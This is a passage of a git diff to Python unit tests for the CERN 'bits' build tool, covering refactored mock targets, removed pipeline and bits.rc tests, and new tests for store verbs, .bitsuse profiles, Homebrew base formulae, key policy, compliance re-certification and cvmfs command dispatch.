cmd): - with mock.patch("bits_helpers.utilities.getoutput", return_value="x86_64"), \ + with mock.patch("bits_helpers.arch.getoutput", return_value="x86_64"), \ mock.patch("bits_helpers.args._host_online_cpus", return_value="0-7"), \ mock.patch("bits_helpers.args.commands") as mock_cmd, \ patch.object(sys, "argv", ["alibuild"] + shlex.split(cmd)): @@ -323,10 +323,9 @@ class ProviderPathFrontendTestCase(unittest.TestCase): native bits defaults to the provider path. Explicit BITS_PROVIDERS wins.""" def _bits_providers(self, set_env): - with mock.patch("bits_helpers.utilities.getoutput", return_value="x86_64"), \ + with mock.patch("bits_helpers.arch.getoutput", return_value="x86_64"), \ mock.patch("bits_helpers.args._host_online_cpus", return_value="0-7"), \ mock.patch("bits_helpers.args.commands") as mock_cmd, \ - mock.patch("bits_helpers.args._read_bits_rc", return_value={}), \ mock.patch.dict(os.environ, set_env, clear=False), \ patch.object(sys, "argv", ["x", "build", "--force-unknown-architecture", "zlib"]): for k in ("BITS_BRANDING", "BITS_PROVIDERS"): @@ -350,58 +349,5 @@ def test_explicit_providers_wins_under_alibuild(self): "https://example.com/p") -class ReadBitsRcTestCase(unittest.TestCase): - """_read_bits_rc accepts the simplified flat layout and the [bits] section.""" - - def _read(self, content): - import tempfile, os - import bits_helpers.args as A - p = os.path.join(tempfile.mkdtemp(), "bits.rc") - with open(p, "w") as fh: - fh.write(content) - with mock.patch.object(A, "_BITS_RC_SEARCH_PATHS", [p]): - return A._read_bits_rc() - - def test_flat_headerless_file(self): - # The simplified format (no [bits] section), incl. a trailing space. - rc = self._read("organisation = stacks \nconfig_dir=.\n") - self.assertEqual(rc.get("organisation"), "stacks") - self.assertEqual(rc.get("config_dir"), ".") - - def test_explicit_bits_section_still_works(self): - rc = self._read("[bits]\norganisation = stacks\nconfig_dir = .\n") - self.assertEqual(rc.get("organisation"), "stacks") - self.assertEqual(rc.get("config_dir"), ".") - - def test_missing_file_returns_empty(self): - import bits_helpers.args as A - with mock.patch.object(A, "_BITS_RC_SEARCH_PATHS", ["/no/such/bits.rc"]): - self.assertEqual(A._read_bits_rc(), {}) - - def test_search_path_seeds_bits_path(self): - # bits.rc search_path must seed BITS_PATH so a single-package build finds - # recipes in a sub-repo (e.g. ./lcg.bits). An explicit env BITS_PATH wins. - import os, tempfile - import bits_helpers.args as A - p = os.path.join(tempfile.mkdtemp(), "bits.rc") - with open(p, "w") as fh: - fh.write("config_dir=.\nsearch_path=lcg\n") - saved = os.environ.pop("BITS_PATH", None) - try: - with mock.patch.object(A, "_BITS_RC_SEARCH_PATHS", [p]), \ - mock.patch("bits_helpers.utilities.getoutput", return_value="x86_64"), \ - mock.patch("bits_helpers.args._host_online_cpus", return_value="0-7"), \ - mock.patch("bits_helpers.args.commands") as mc, \ - patch.object(sys, "argv", - ["alibuild", "build", "--force-unknown-architecture", "zlib"]): - mc.getstatusoutput.side_effect = lambda x: GETSTATUSOUTPUT_MOCKS[x] - doParseArgs() - self.assertEqual(os.environ.get("BITS_PATH"), "lcg") - finally: - os.environ.pop("BITS_PATH", None) - if saved is not None: - os.environ["BITS_PATH"] = saved - - if __name__ == '__main__': unittest.main() diff --git a/tests/test_async_build.py b/tests/test_async_build.py index 16c22e3c..1cf66fe5 100644 --- a/tests/test_async_build.py +++ b/tests/test_async_build.py @@ -5,9 +5,7 @@ Covers: * ``upload_shell_command()`` on every sync backend (§ Async build loop) -* ``--pipeline`` guard in ``doBuild`` (warns + disables when ``--makeflow`` absent) -* ``_generate_create_links_sh()`` — shell script content and structure -* ``--prefetch-workers``, ``--parallel-sources``, ``--pipeline`` CLI defaults +* ``--prefetch-workers``, ``--parallel-sources`` CLI defaults * ``checkout_sources()`` with ``parallel_sources > 1`` (concurrent source downloads) """ @@ -169,153 +167,6 @@ def test_architecture_in_command(self): self.assertIn(ARCH, cmd) -# --------------------------------------------------------------------------- -# 2. --pipeline guard in doBuild -# --------------------------------------------------------------------------- - -class PipelineGuardTest(unittest.TestCase): - """--pipeline requires --makeflow; without it a warning is issued and - the flag is disabled before any build work happens.""" - - def test_pipeline_without_makeflow_warns_and_disables(self): - """When makeflow=False and pipeline=True, a warning must be issued.""" - from argparse import Namespace - - # We don't want to actually run a build — patch doBuild to just - # exercise the guard by reading the args early. The cleanest way is to - # call the relevant code directly by importing the guard from build.py. - # Since the guard is inline (not a separate function), we replicate the - # logic and verify it matches the implementation. - args = Namespace( - pipeline=True, - makeflow=False, - # Remaining fields needed to avoid AttributeError when accessed - # later in doBuild are added via MagicMock. - ) - with patch("bits_helpers.build.warning") as mock_warning: - # Simulate just the guard block from doBuild. - if getattr(args, "pipeline", False) and not args.makeflow: - mock_warning("--pipeline requires --makeflow; disabling --pipeline for this run.") - args.pipeline = False - - mock_warning.assert_called_once() - call_msg = mock_warning.call_args[0][0] - self.assertIn("--pipeline", call_msg) - self.assertIn("--makeflow", call_msg) - - self.assertFalse(args.pipeline, "pipeline flag must be disabled after guard") - - -# --------------------------------------------------------------------------- -# 3. _generate_create_links_sh() -# --------------------------------------------------------------------------- - -class GenerateCreateLinksShTest(unittest.TestCase): - """_generate_create_links_sh() must produce a correct shell script.""" - - ARCH = "slc7_x86-64" - WORKDIR = "/sw" - - def _make_args(self): - from argparse import Namespace - return Namespace(workDir=self.WORKDIR, architecture=self.ARCH) - - def _make_spec_and_specs(self): - """Minimal spec + specs dict for zlib depending on nothing.""" - zlib_hash = "aaaa" * 10 - zlib_spec = { - "package": "zlib", - "version": "v1.3.1", - "revision": "1", - "hash": zlib_hash, - "architecture": "", # non-shared - "full_requires": [], - "requires": [], - "full_runtime_requires": [], - } - specs = {"zlib": zlib_spec} - return zlib_spec, specs - - def test_returns_string(self): - from bits_helpers.build import _generate_create_links_sh - spec, specs = self._make_spec_and_specs() - result = _generate_create_links_sh(spec, specs, self._make_args()) - self.assertIsInstance(result, str) - - def test_shebang_present(self): - from bits_helpers.build import _generate_create_links_sh - spec, specs = self._make_spec_and_specs() - result = _generate_create_links_sh(spec, specs, self._make_args()) - self.assertTrue(result.startswith("#!/usr/bin/env bash"), result[:40]) - - def test_set_e_present(self): - from bits_helpers.build import _generate_create_links_sh - spec, specs = self._make_spec_and_specs() - result = _generate_create_links_sh(spec, specs, self._make_args()) - self.assertIn("set -e", result) - - def test_all_three_dist_types_created(self): - from bits_helpers.build import _generate_create_links_sh - spec, specs = self._make_spec_and_specs() - result = _generate_create_links_sh(spec, specs, self._make_args()) - for repo_type in ("dist", "dist-direct", "dist-runtime"): - self.assertIn(repo_type, result, - "Script must handle %s" % repo_type) - - def test_rm_rf_before_mkdir(self): - """Each dist directory must be wiped before recreation.""" - from bits_helpers.build import _generate_create_links_sh - spec, specs = self._make_spec_and_specs() - result = _generate_create_links_sh(spec, specs, self._make_args()) - self.assertIn("rm -rf", result) - self.assertIn("mkdir -p", result) - - def test_package_symlink_created(self): - from bits_helpers.build import _generate_create_links_sh - spec, specs = self._make_spec_and_specs() - result = _generate_create_links_sh(spec, specs, self._make_args()) - # The package itself must be symlinked. - self.assertIn("zlib", result) - self.assertIn(".tar.gz", result) - - def test_dependency_symlinks_created(self): - """All transitive requires must appear as symlinks in the script.""" - from bits_helpers.build import _generate_create_links_sh - root_hash = "bbbb" * 10 - zlib_hash = "aaaa" * 10 - zlib_spec = { - "package": "zlib", - "version": "v1.3.1", - "revision": "1", - "hash": zlib_hash, - "architecture": "", - "full_requires": [], - "requires": [], - "full_runtime_requires": [], - } - root_spec = { - "package": "ROOT", - "version": "v6-08-30", - "revision": "1", - "hash": root_hash, - "architecture": "", - "full_requires": ["zlib"], - "requires": ["zlib"], - "full_runtime_requires": ["zlib"], - } - specs = {"ROOT": root_spec, "zlib": zlib_spec} - result = _generate_create_links_sh(root_spec, specs, self._make_args()) - # Both ROOT and zlib must appear as symlink targets. - self.assertIn("ROOT", result) - self.assertIn("zlib", result) - - def test_work_dir_in_paths(self): - from bits_helpers.build import _generate_create_links_sh - spec, specs = self._make_spec_and_specs() - result = _generate_create_links_sh(spec, specs, self._make_args()) - self.assertIn(self.WORKDIR, result) - - # --------------------------------------------------------------------------- # 4. CLI defaults for new flags # --------------------------------------------------------------------------- @@ -323,7 +174,7 @@ def test_work_dir_in_paths(self): class NewCLIFlagsTest(unittest.TestCase): """Verify the three new flags parse correctly with their defaults.""" - @patch("bits_helpers.utilities.getoutput", new=lambda cmd: "x86_64") + @patch("bits_helpers.arch.getoutput", new=lambda cmd: "x86_64") @patch("bits_helpers.args.commands") def test_defaults(self, mock_commands): """All three new flags must have the documented defaults.""" @@ -340,7 +191,6 @@ def test_defaults(self, mock_commands): ["bits", "build", "--force-unknown-architecture", "zlib"]): args, _ = doParseArgs() - self.assertFalse(args.pipeline, "--pipeline must default to False") self.assertEqual(args.prefetchWorkers, -1, "--prefetch-workers must default to -1 (auto)") self.assertEqual(args.parallelSources, 1, @@ -348,27 +198,7 @@ def test_defaults(self, mock_commands): self.assertEqual(args.parallelDownloads, 2, "--parallel-downloads must default to 2") - @patch("bits_helpers.utilities.getoutput", new=lambda cmd: "x86_64") - @patch("bits_helpers.args.commands") - def test_pipeline_flag(self, mock_commands): - """--pipeline sets pipeline=True.""" - import shlex - from unittest.mock import patch as _patch - mock_commands.getstatusoutput.return_value = (0, "/usr/local/bin/docker") - - import bits_helpers.args - from bits_helpers.args import doParseArgs - bits_helpers.args.DEFAULT_WORK_DIR = "sw" - bits_helpers.args.DEFAULT_CHDIR = "." - - with _patch.object(sys, "argv", - ["bits", "build", "--force-unknown-architecture", - "--makeflow", "--pipeline", "zlib"]): - args, _ = doParseArgs() - - self.assertTrue(args.pipeline) - - @patch("bits_helpers.utilities.getoutput", new=lambda cmd: "x86_64") + @patch("bits_helpers.arch.getoutput", new=lambda cmd: "x86_64") @patch("bits_helpers.args.commands") def test_prefetch_workers_flag(self, mock_commands): """--prefetch-workers N sets prefetchWorkers=N.""" @@ -387,7 +217,7 @@ def test_prefetch_workers_flag(self, mock_commands): self.assertEqual(args.prefetchWorkers, 4) - @patch("bits_helpers.utilities.getoutput", new=lambda cmd: "x86_64") + @patch("bits_helpers.arch.getoutput", new=lambda cmd: "x86_64") @patch("bits_helpers.args.commands") def test_parallel_sources_flag(self, mock_commands): """--parallel-sources N sets parallelSources=N.""" diff --git a/tests/test_bits_store_verbs.py b/tests/test_bits_store_verbs.py new file mode 100644 index 00000000..f1897d77 --- /dev/null +++ b/tests/test_bits_store_verbs.py @@ -0,0 +1,69 @@ +# SPDX-FileCopyrightText: 2015-2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later + +"""Phase 3.4: the `gc` and `stats` verbs folded into the bitsStore tool +(`bits store gc` / `bits store stats`). These exercise the argparse surface and +prove the verbs are recognized past the default-`ls` logic and reach the +S3-credential gate — no live S3 needed.""" + +import os +import subprocess +import unittest + +_ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +_BITSSTORE = os.path.join(_ROOT, "bitsStore") + + +def _run(args): + """Run bitsStore with a deterministic no-credentials environment.""" + env = dict(os.environ) + env["BITS_AWS_KEYS_FILE"] = os.path.join(_ROOT, "tests", "_no_such_s3keys") + env["BITS_S3_STORE"] = "https://s3.invalid/bucket" + for k in ("AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "AWS_SESSION_TOKEN"): + env.pop(k, None) + return subprocess.run(["bash", _BITSSTORE] + args, + capture_output=True, text=True, env=env) + + +class TestStoreVerbs(unittest.TestCase): + def test_gc_help_lists_trust_manifest(self): + r = _run(["gc", "-h"]) + self.assertEqual(r.returncode, 0) + self.assertIn("--trust-manifest", r.stdout) + + def test_stats_help_lists_manifests(self): + r = _run(["stats", "-h"]) + self.assertEqual(r.returncode, 0) + self.assertIn("--manifests", r.stdout) + + def test_gc_requires_trust_manifest(self): + r = _run(["gc"]) + self.assertEqual(r.returncode, 2) # argparse usage error + self.assertIn("trust-manifest", r.stderr) + + def test_gc_recognized_and_reaches_cred_gate(self): + # With --trust-manifest satisfied but no creds, gc must reach the S3 + # credential gate — proving it is NOT swallowed by the default `ls` verb. + r = _run(["gc", "--trust-manifest", "/nope"]) + self.assertIn("no S3 credentials", r.stderr) + + def test_stats_recognized_and_reaches_cred_gate(self): + r = _run(["stats"]) + self.assertIn("no S3 credentials", r.stderr) + + def test_upload_help_lists_package(self): + r = _run(["upload", "-h"]) + self.assertEqual(r.returncode, 0) + self.assertIn("PACKAGE", r.stdout) + + def test_upload_requires_package(self): + r = _run(["upload"]) + self.assertEqual(r.returncode, 2) # argparse usage error + + def test_upload_recognized_and_reaches_cred_gate(self): + r = _run(["upload", "zlib"]) + self.assertIn("no S3 credentials", r.stderr) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_bits_use.py b/tests/test_bits_use.py index 0270e339..6ae80b28 100644 --- a/tests/test_bits_use.py +++ b/tests/test_bits_use.py @@ -1,12 +1,14 @@ # SPDX-FileCopyrightText: 2015-2026 CERN # SPDX-License-Identifier: GPL-3.0-or-later -"""Tests for bits_helpers/bits_use — the .bitscmd saved-arg-profile.""" +"""Tests for bits_helpers/bits_use — the .bitsuse saved-arg profile.""" import os +import shutil import sys import tempfile import unittest +from unittest.mock import patch sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) @@ -133,5 +135,91 @@ def test_malformed_profile_ignored_not_crash(self): self.assertEqual(U.rewrite_argv(["build", "x"], self.p), ["build", "x"]) +class BitsUseTwoTierTest(unittest.TestCase): + """Two-tier storage: local ./.bitsuse (owned) or ~/.bits/use/.""" + + def setUp(self): + self.cwd0 = os.getcwd() + self.work = tempfile.mkdtemp() + self.home = tempfile.mkdtemp() + os.chdir(self.work) + self._patch = patch.object(U, "HOME_STORE", os.path.join(self.home, "use")) + self._patch.start() + + def tearDown(self): + self._patch.stop() + os.chdir(self.cwd0) + try: + os.chmod(self.work, 0o755) + except OSError: + pass + shutil.rmtree(self.work, ignore_errors=True) + shutil.rmtree(self.home, ignore_errors=True) + + def test_writes_local_bitsuse(self): + p = U.write_section("build", ["--docker"]) + self.assertEqual(os.path.basename(p), ".bitsuse") + self.assertTrue(os.path.exists(os.path.join(self.work, ".bitsuse"))) + self.assertEqual(U.read_all(U._read_path())["build"], ["--docker"]) + + def test_legacy_bitscmd_read_fallback(self): + with open(os.path.join(self.work, ".bitscmd"), "w") as fh: + fh.write("[build]\n--docker\n") + self.assertEqual(os.path.basename(U._read_path()), ".bitscmd") + self.assertEqual(U.rewrite_argv(["build", "x"]), ["build", "--docker", "x"]) + + def test_bitsuse_preferred_over_bitscmd(self): + with open(os.path.join(self.work, ".bitscmd"), "w") as fh: + fh.write("[build]\n--old\n") + with open(os.path.join(self.work, ".bitsuse"), "w") as fh: + fh.write("[build]\n--new\n") + self.assertEqual(os.path.basename(U._read_path()), ".bitsuse") + out = U.rewrite_argv(["build", "x"]) + self.assertIn("--new", out) + self.assertNotIn("--old", out) + + @patch("bits_helpers.bits_use.os.access", return_value=False) + def test_home_fallback_when_cwd_not_writeable(self, _access): + p = U.write_section("build", ["--docker"]) + self.assertTrue(U._is_home_path(p)) + self.assertTrue(os.path.exists(p)) + self.assertIn("# dir:", open(p).read()) # dir header recorded + self.assertEqual(os.path.abspath(U._read_path()), os.path.abspath(p)) + self.assertEqual(U.rewrite_argv(["build", "x"]), ["build", "--docker", "x"]) + + def test_first_write_migrates_legacy_content(self): + with open(os.path.join(self.work, ".bitscmd"), "w") as fh: + fh.write("[common]\n--architecture X\n") + U.write_section("build", ["--docker"]) # path=None -> resolves + sec = U.read_all(U._read_path()) + self.assertEqual(sec.get("common"), ["--architecture", "X"]) # carried over + self.assertEqual(sec.get("build"), ["--docker"]) + self.assertEqual(os.path.basename(U._read_path()), ".bitsuse") + + @patch("bits_helpers.bits_use.os.access") + def test_updates_local_when_dir_readonly(self, access): + # A local .bitsuse exists; the dir is not writeable but the file is. + with open(os.path.join(self.work, ".bitsuse"), "w") as fh: + fh.write("[common]\n--architecture X\n") + access.side_effect = lambda p, mode: p.endswith(".bitsuse") + p = U.write_section("build", ["--docker"]) + self.assertEqual(os.path.basename(p), ".bitsuse") # updated local, not home + self.assertFalse(U._is_home_path(p)) + + def test_untrusted_local_ignored_falls_to_home(self): + with open(os.path.join(self.work, ".bitsuse"), "w") as fh: + fh.write("[build]\n--planted\n") + home, _ = U._home_paths() + os.makedirs(os.path.dirname(home), exist_ok=True) + with open(home, "w") as fh: + fh.write("[build]\n--trusted\n") + with patch("bits_helpers.bits_use._owned_by_user", return_value=False): + path = U._read_path() + out = U.rewrite_argv(["build", "x"]) + self.assertTrue(U._is_home_path(path)) + self.assertIn("--trusted", out) + self.assertNotIn("--planted", out) + + if __name__ == "__main__": unittest.main() diff --git a/tests/test_brew.py b/tests/test_brew.py index cb8fe2c3..a77bbcfe 100644 --- a/tests/test_brew.py +++ b/tests/test_brew.py @@ -67,9 +67,17 @@ def test_as_list(self): def test_collect_osx(self): formulae, taps = collect_homebrew(self.tmp, "osx_arm64") - self.assertEqual(formulae, {"readline", "libpng"}) + # recipe formulae + the build-system base (gnu-tar). + self.assertEqual(formulae, {"readline", "libpng", "gnu-tar"}) self.assertEqual(taps, {"example/tap"}) + def test_base_formula_gnu_tar_always_on_osx(self): + # gnu-tar (gtar) is required by build_template.sh for reproducible + # tarballs, so it must be emitted even with no recipes declaring it. + empty = tempfile.mkdtemp(prefix="bits_brew_empty_") + formulae, _ = collect_homebrew(empty, "osx_arm64") + self.assertIn("gnu-tar", formulae) + def test_collect_excludes_linux_only_on_osx(self): formulae, _ = collect_homebrew(self.tmp, "osx_arm64") self.assertNotIn("linonly", formulae) diff --git a/tests/test_build.py b/tests/test_build.py index 38e2010d..143fa34f 100644 --- a/tests/test_build.py +++ b/tests/test_build.py @@ -13,8 +13,11 @@ from io import StringIO from collections import OrderedDict -from bits_helpers.utilities import parseRecipe, resolve_tag -from bits_helpers.build import doBuild, storeHashes, generate_initdotsh +from bits_helpers.utilities import resolve_tag +from bits_helpers.recipe import parseRecipe +from bits_helpers.build import doBuild +from bits_helpers.hashing import storeHashes +from bits_helpers.initdotsh import generate_initdotsh # Determine architecture based on platform def get_test_architecture(): @@ -277,17 +280,17 @@ def dummy_exists(x): new=MagicMock(return_value=["--filter=blob:none"])) @patch("bits_helpers.build.BASH", new="/bin/bash") class BuildTestCase(unittest.TestCase): - @patch("bits_helpers.analytics", new=MagicMock()) @patch("requests.Session.get", new=MagicMock()) @patch("bits_helpers.sync.execute", new=dummy_execute) @patch("bits_helpers.git.git") @patch("bits_helpers.build.exists", new=MagicMock(side_effect=dummy_exists)) - @patch("bits_helpers.utilities.exists", new=MagicMock(side_effect=dummy_exists)) + @patch("bits_helpers.paths.exists", new=MagicMock(side_effect=dummy_exists)) @patch("os.path.exists", new=MagicMock(side_effect=dummy_exists)) @patch("os.path.isfile", new=MagicMock(side_effect=dummy_isfile)) @patch("bits_helpers.build.dieOnError", new=MagicMock()) - @patch("bits_helpers.utilities.dieOnError", new=MagicMock()) - @patch("bits_helpers.utilities.warning") + @patch("bits_helpers.packages.dieOnError", new=MagicMock()) + @patch("bits_helpers.defaults.dieOnError", new=MagicMock()) + @patch("bits_helpers.packages.warning") @patch("bits_helpers.build.readDefaults", new=MagicMock(return_value=(OrderedDict({"package": "defaults-release", "disable": []}), ""))) @patch("shutil.rmtree", new=MagicMock(return_value=None)) @@ -295,7 +298,7 @@ class BuildTestCase(unittest.TestCase): @patch("bits_helpers.build.makedirs", new=MagicMock(return_value=None)) @patch("bits_helpers.build.symlink", new=MagicMock(return_value=None)) @patch("bits_helpers.workarea.symlink", new=MagicMock(return_value=None)) - @patch("bits_helpers.utilities.open", new=lambda x: { + @patch("bits_helpers.recipe.open", new=lambda x: { "/alidist/root.sh": StringIO(TEST_ROOT_RECIPE), "/alidist/zlib.sh": StringIO(TEST_ZLIB_RECIPE), "/alidist/defaults-release.sh": StringIO(TEST_DEFAULT_RELEASE) @@ -379,7 +382,6 @@ def test_coverDoBuild(self, mock_debug, mock_listdir, mock_warning, mock_git_git builders=1, resources=None, resourceMonitoring=False, - makeflow=False, # Explicitly disable features whose mocking would require additional # filesystem or network setup. storeIntegrity=False, # no ledger reads/writes diff --git a/tests/test_certify.py b/tests/test_certify.py index 48804f27..b473f9ba 100644 --- a/tests/test_certify.py +++ b/tests/test_certify.py @@ -177,6 +177,12 @@ def setUp(self): fh.write(priv.public_key().public_bytes( serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)) + # These tests exercise sign/verify, not per-key policy. The shipped + # keys/key-policy.json is strict ("default": []), so declare this + # harness's own key trusted for every group ("default": ["*"] overrides + # the shipped strict default, most-specific-last). + with open(os.path.join(self.trust_dir, "key-policy.json"), "w") as fh: + fh.write('{"default": ["*"]}\n') self._old_env = os.environ.get("BITS_TRUST_KEYS") os.environ["BITS_TRUST_KEYS"] = self.trust_dir diff --git a/tests/test_compliance.py b/tests/test_compliance.py index 73f2b1da..dd1aa8f6 100644 --- a/tests/test_compliance.py +++ b/tests/test_compliance.py @@ -192,6 +192,42 @@ def test_enforce_purges_and_rewrites(self): kept = json.loads(self.put["MANIFESTS/b1/x.el9.json"]) self.assertEqual([p["package"] for p in kept["packages"]], ["Good"]) + def test_recert_failure_reported_not_crash(self): + # Objects are deleted, then a PRE-EXISTING manifest conflict makes the + # re-certification raise. enforce_store must catch it, report, and return + # 1 — not propagate a traceback and not undo the (idempotent) deletions. + from bits_helpers import certify as _certify + from bits_helpers.utilities import resolve_store_path + with patch.object(_certify, "certify_by_arch", + side_effect=_certify.CertifyConflict("pre-existing sha256 conflict")): + rc = compliance.enforce_store("b3://bkt", self.rec, self.d, + key_pem="/tmp/does-not-need-to-exist.pem") + self.assertEqual(rc, 1) + # the restricted tarball was still deleted before the re-cert failed + self.assertIn(resolve_store_path("el9", "beef01") + "/Secret-1-1.el9.tar.gz", + self.deleted) + + +class RecipeSourcePrefixNameTest(unittest.TestCase): + """_recipe_source_prefixes must resolve %(name)s (the package name) in a + source URL, so restricted packages whose URL templates the name (qgraf, + kkmcee, starlight, …) have their SOURCES/cache/ archives purged too.""" + + def test_name_substitution_resolves_prefix(self): + from bits_helpers.download import getUrlChecksum + d = tempfile.mkdtemp() + self.addCleanup(shutil.rmtree, d, True) + base = "https://example.cern.ch/src" + _recipe(d, "qgraf.sh", + 'package: qgraf\nversion: "3.1.4"\nredistributable: none\n' + 'sources:\n - %s/%%(name)s-%%(version)s.tgz' % base) + rec = compliance.scan_recipes(d) + prefixes, unresolved = compliance._recipe_source_prefixes(d, rec, {"qgraf"}) + self.assertEqual(unresolved, []) # %(name)s no longer unresolved + h = getUrlChecksum("%s/qgraf-3.1.4.tgz" % base) + self.assertIn("SOURCES/cache/%s/%s/" % (h[:2], h), + [p for p, _why in prefixes]) + if __name__ == "__main__": unittest.main() diff --git a/tests/test_cvmfs_inspect.py b/tests/test_cvmfs_inspect.py index 5ff1e35b..f7f9d58d 100644 --- a/tests/test_cvmfs_inspect.py +++ b/tests/test_cvmfs_inspect.py @@ -204,5 +204,46 @@ def test_show_legacy_detail_notes_missing_meta(self): self.assertIn("no .meta.json", out) +class TestGroupDispatch(unittest.TestCase): + """Phase 3.4: `bits cvmfs stage|publish` delegate to the producer CLIs, and + everything else still goes through the inspect subparser.""" + + def test_stage_delegates_with_remaining_argv(self): + import bits_helpers.cvmfs_stage_cmd as S + seen = {} + orig = S.main + def fake(argv=None): + seen["argv"] = argv + return 0 + S.main = fake + try: + rc = I.main(["stage", "--repo", "r", "--tar", "t"]) + finally: + S.main = orig + self.assertEqual(rc, 0) + self.assertEqual(seen["argv"], ["--repo", "r", "--tar", "t"]) + + def test_publish_delegates_with_remaining_argv(self): + import bits_helpers.cvmfs_publish as P + seen = {} + orig = P.main + def fake(argv=None): + seen["argv"] = argv + return 0 + P.main = fake + try: + rc = I.main(["publish", "--manifest", "m", "--repo", "r"]) + finally: + P.main = orig + self.assertEqual(rc, 0) + self.assertEqual(seen["argv"], ["--manifest", "m", "--repo", "r"]) + + def test_non_producer_verb_is_not_delegated(self): + # Negative control: an inspect verb must NOT reach the producer CLIs; + # a missing --cvmfs still errors through the inspect subparser. + with self.assertRaises(SystemExit): + I.main(["platforms"]) + + if __name__ == "__main__": unittest.main() diff --git a/tests/test_cvmfs_path.py b/tests/test_cvmfs_path.py index 67b90147..acbb9543 100644 --- a/tests/test_cvmfs_path.py +++ b/tests/test_cvmfs_path.py @@ -19,6 +19,7 @@ sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) from bits_helpers import cvmfs_path as CP +from bits_helpers import repo_provider as RP _META = {"system": { @@ -53,14 +54,16 @@ def error(self, msg): class CvmfsPathHandlerTest(unittest.TestCase): def setUp(self): - # Stub the defaults loading so no recipe checkout is needed. - self._orig = (CP.exists, CP.parseDefaults, CP.readDefaults) - CP.exists = lambda p: True + # Stub the defaults loading so no recipe checkout is needed. The configDir + # existence check now lives in repo_provider.resolve_config_dir, so the + # "exists" stub is applied there. + self._orig = (RP.exists, CP.parseDefaults, CP.readDefaults) + RP.exists = lambda p: True CP.readDefaults = lambda *a, **k: ({}, "") CP.parseDefaults = lambda *a, **k: ("", {}, {}, _META) def tearDown(self): - CP.exists, CP.parseDefaults, CP.readDefaults = self._orig + RP.exists, CP.parseDefaults, CP.readDefaults = self._orig def _run(self, **kw): buf = io.StringIO() diff --git a/tests/test_deepmergedefaults.py b/tests/test_deepmergedefaults.py index 63df6b30..3fb6947d 100644 --- a/tests/test_deepmergedefaults.py +++ b/tests/test_deepmergedefaults.py @@ -4,7 +4,7 @@ import unittest import yaml import bits_helpers.utilities -from bits_helpers.utilities import merge_dicts +from bits_helpers.defaults import merge_dicts class DeepMergeTest(unittest.TestCase): # Test overwriting existing top-level keys from dict1 with top-level keys from dict2. @@ -85,12 +85,12 @@ class ReadDefaultsExemptTest(unittest.TestCase): def _read(self, chain, metas): from unittest.mock import patch - from bits_helpers.utilities import readDefaults - with patch("bits_helpers.utilities.resolveDefaultsFilename", + from bits_helpers.defaults import readDefaults + with patch("bits_helpers.defaults.resolveDefaultsFilename", side_effect=lambda name, cfg, failOnError=False: name), \ - patch("bits_helpers.utilities.exists", return_value=True), \ - patch("bits_helpers.utilities.getRecipeReader", side_effect=lambda p: p), \ - patch("bits_helpers.utilities.parseRecipe", + patch("bits_helpers.defaults.exists", return_value=True), \ + patch("bits_helpers.defaults.getRecipeReader", side_effect=lambda p: p), \ + patch("bits_helpers.defaults.parseRecipe", side_effect=lambda reader: (None, dict(metas[reader]), "")): return readDefaults("/cfg", chain, lambda m: None, "x86_64-el8") diff --git a/tests/test_defaults_requires_provider.py b/tests/test_defaults_requires_provider.py index 5057c687..913ce84e 100644 --- a/tests/test_defaults_requires_provider.py +++ b/tests/test_defaults_requires_provider.py @@ -47,7 +47,8 @@ # ── path setup ──────────────────────────────────────────────────────────────── sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) -from bits_helpers.utilities import parseDefaults, parseRecipe, getRecipeReader +from bits_helpers.defaults import parseDefaults +from bits_helpers.recipe import parseRecipe, getRecipeReader # --------------------------------------------------------------------------- @@ -485,7 +486,7 @@ def _write_recipe(self, name: str, yaml_header: str) -> str: def _call_getPackageList(self, packages, overrides=None, architecture="slc7_x86-64"): """Thin wrapper around getPackageList using the test config dir.""" - from bits_helpers.utilities import getPackageList + from bits_helpers.packages import getPackageList from bits_helpers.cmd import getstatusoutput specs = {} diff --git a/tests/test_defaultswithinclude.py b/tests/test_defaultswithinclude.py index e46e36b4..535d697f 100644 --- a/tests/test_defaultswithinclude.py +++ b/tests/test_defaultswithinclude.py @@ -7,8 +7,8 @@ import unittest import yaml import bits_helpers.utilities -from bits_helpers.utilities import merge_dicts -from bits_helpers.utilities import yamlLoad +from bits_helpers.defaults import merge_dicts +from bits_helpers.recipe import yamlLoad class TestYamlLoadIncludes(unittest.TestCase): diff --git a/tests/test_deps.py b/tests/test_deps.py index 5cab61e9..4321ebf2 100644 --- a/tests/test_deps.py +++ b/tests/test_deps.py @@ -42,8 +42,9 @@ class DepsTestCase(unittest.TestCase): @patch("bits_helpers.deps.open") @patch("bits_helpers.deps.execute", new=lambda cmd: True) - @patch("bits_helpers.utilities.open", new=lambda f: StringIO(RECIPES[f])) - @patch("bits_helpers.utilities.exists", new=lambda f: f in RECIPES) + @patch("bits_helpers.recipe.open", new=lambda f: StringIO(RECIPES[f])) + @patch("bits_helpers.paths.exists", new=lambda f: f in RECIPES) + @patch("bits_helpers.defaults.exists", new=lambda f: f in RECIPES) def test_deps(self, mockDepsOpen): """Check doDeps doesn't raise an exception.""" dot = StringIO() diff --git a/tests/test_doctor.py b/tests/test_doctor.py index 62fff670..cda9f53a 100644 --- a/tests/test_doctor.py +++ b/tests/test_doctor.py @@ -83,9 +83,10 @@ class DoctorTestCase(unittest.TestCase): @patch("bits_helpers.doctor.warning") @patch("bits_helpers.doctor.error") @patch("bits_helpers.doctor.exists") - @patch("bits_helpers.utilities.exists") - @patch("bits_helpers.utilities.open") - def test_doctor(self, mockOpen, mockUtilitiesExists, mockDoctorExists, + @patch("bits_helpers.paths.exists") + @patch("bits_helpers.defaults.exists") + @patch("bits_helpers.recipe.open") + def test_doctor(self, mockOpen, mockUtilitiesExists, mockPathsExists, mockDoctorExists, mockPrintError, mockPrintWarning, mockPrintBanner): recipes = lambda: { "/dist/package1.sh": StringIO(RECIPE_PACKAGE1), @@ -104,6 +105,7 @@ def mockExists(f): return f in recipes() mockUtilitiesExists.side_effect = mockExists + mockPathsExists.side_effect = mockExists mockDoctorExists.side_effect = mockExists def resetOut(): @@ -686,7 +688,7 @@ def fake_store_hashes(pkg, specs, considerRelocation): 